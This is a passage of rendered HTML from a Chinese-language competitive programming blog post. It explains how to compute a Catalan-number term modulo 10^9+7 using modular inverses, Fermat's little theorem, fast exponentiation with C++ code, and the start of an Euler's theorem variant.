class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>我們令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow><mo>=</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>2</mn><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mi>k</mi><mo>+</mo><mn>3</mn><mo stretchy="false">)</mo><mo>⋯</mo><mn>2</mn><mi>k</mi></mrow><annotation encoding="application/x-tex">\mathrm{num}=(k+2)(k+3)\cdots 2k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathrm">num</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">3</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(代表分子，numerator)、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow><mo>=</mo><mn>1</mn><mo>⋅</mo><mn>2</mn><mo>⋯</mo><mi>k</mi></mrow><annotation encoding="application/x-tex">\mathrm{den}=1\cdot 2\cdots k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">den</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>(代表分母，denominator)，則</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow></mfrac><mo>⇒</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">e</mi><mi mathvariant="normal">n</mi></mrow><mo>⋅</mo><msub><mi>C</mi><mi>k</mi></msub><mo>=</mo><mrow><mi mathvariant="normal">n</mi><mi mathvariant="normal">u</mi><mi mathvariant="normal">m</mi></mrow></mrow><annotation encoding="application/x-tex">C_k=\frac{\mathrm{num}}{\mathrm{den}}\Rightarrow\mathrm{den}\cdot C_k=\mathrm{num}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">den</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">num</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">den</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord"><span class="mord mathrm">num</span></span></span></span></span></span></p><p>接著兩邊同時mod <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(10^9+7)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span>，假設模完他變成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>C</mi><mi>k</mi></msub><mo>≡</mo><mi>B</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">AC_k\equiv B\pmod{10^9+7}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span>，那麼<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>k</mi></msub><mo>≡</mo><msup><mi>A</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>B</mi><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">C_k\equiv A^{-1}B\pmod{10^9+7}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">7</span><span class="mclose">)</span></span></span></span></p><p>所以我們還需要寫一個用來求模反元素的函式。</p><h2 id="%E6%B1%82%E8%A7%A3%E6%A8%A1%E5%8F%8D%E5%85%83%E7%B4%A0" tabindex="-1" id="求解模反元素">求解模反元素</h2><p>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>M</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">(a,M)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>(此時才必有唯一的模反元素)，則稱</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mi>x</mi><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">ax\equiv 1\pmod{M}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>的解<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span>模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>的反元素，記作<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span></p><h3 id="%E6%96%B9%E6%B3%95%E4%B8%80%EF%BC%9A%E8%B2%BB%E9%A6%AC%E5%B0%8F%E5%AE%9A%E7%90%86%2B%E5%BF%AB%E9%80%9F%E5%86%AA" tabindex="-1" id="方法一：費馬小定理-快速冪">方法一：費馬小定理+快速冪</h3><p>由於模數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>=</mo><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">M=10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>為質數，由費馬小定理知</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>≡</mo><mn>1</mn><mo>≡</mo><mi>a</mi><mi>x</mi><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo><mo>⇒</mo><mi>x</mi><mo>≡</mo><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>2</mn></mrow></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{M-1}\equiv 1\equiv ax\pmod M\Rightarrow x\equiv a^{M-2}\pmod M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⇒</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8913em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="mclose">)</span></span></span></span></span></p><p>而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>a</mi><mrow><mi>M</mi><mo>−</mo><mn>2</mn></mrow></msup></mrow><annotation encoding="application/x-tex">a^{M-2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mbin mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></span>可由<a href="http://localhost:4000/2026/05/31/CSES-Exponentiation-%E9%A1%8C%E8%A7%A3/#%E5%BF%AB%E9%80%9F%E5%86%AA">上次提過的快速冪</a>算出。</p><p>實現程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span>ll <span class="token function">fast_pow</span><span class="token punctuation">(</span>ll base<span class="token punctuation">,</span> ll exp<span class="token punctuation">,</span> <span class="token keyword">int</span> m<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  ll res <span class="token operator">=</span> <span class="token number">1LL</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>exp <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>exp<span class="token operator">%</span><span class="token number">2</span><span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>res <span class="token operator">=</span> <span class="token punctuation">(</span>res<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>    base <span class="token operator">=</span> <span class="token punctuation">(</span>base<span class="token operator">*</span>base<span class="token punctuation">)</span> <span class="token operator">%</span> m<span class="token punctuation">;</span>    exp <span class="token operator">/=</span> <span class="token number">2</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> res<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>ll <span class="token function">invert</span><span class="token punctuation">(</span>ll a<span class="token punctuation">,</span> ll M<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// 僅當M為質數時可用</span>  <span class="token keyword">return</span> <span class="token function">fast_pow</span><span class="token punctuation">(</span>a<span class="token punctuation">,</span> M<span class="token operator">-</span><span class="token number">2</span><span class="token punctuation">,</span> M<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>當然，就算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex">M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">M</span></span></span></span>不是質數，我們還是可以用歐拉定理推出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mo>≡</mo><msup><mi>a</mi><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>−</mo><mn>1</mn></mrow></msup><mspace></mspace><mspace width="1em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">x\equiv a^{\phi(M)-1}\pmod M</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ϕ</span><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">M</span><span class="mclose mtight">)</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span 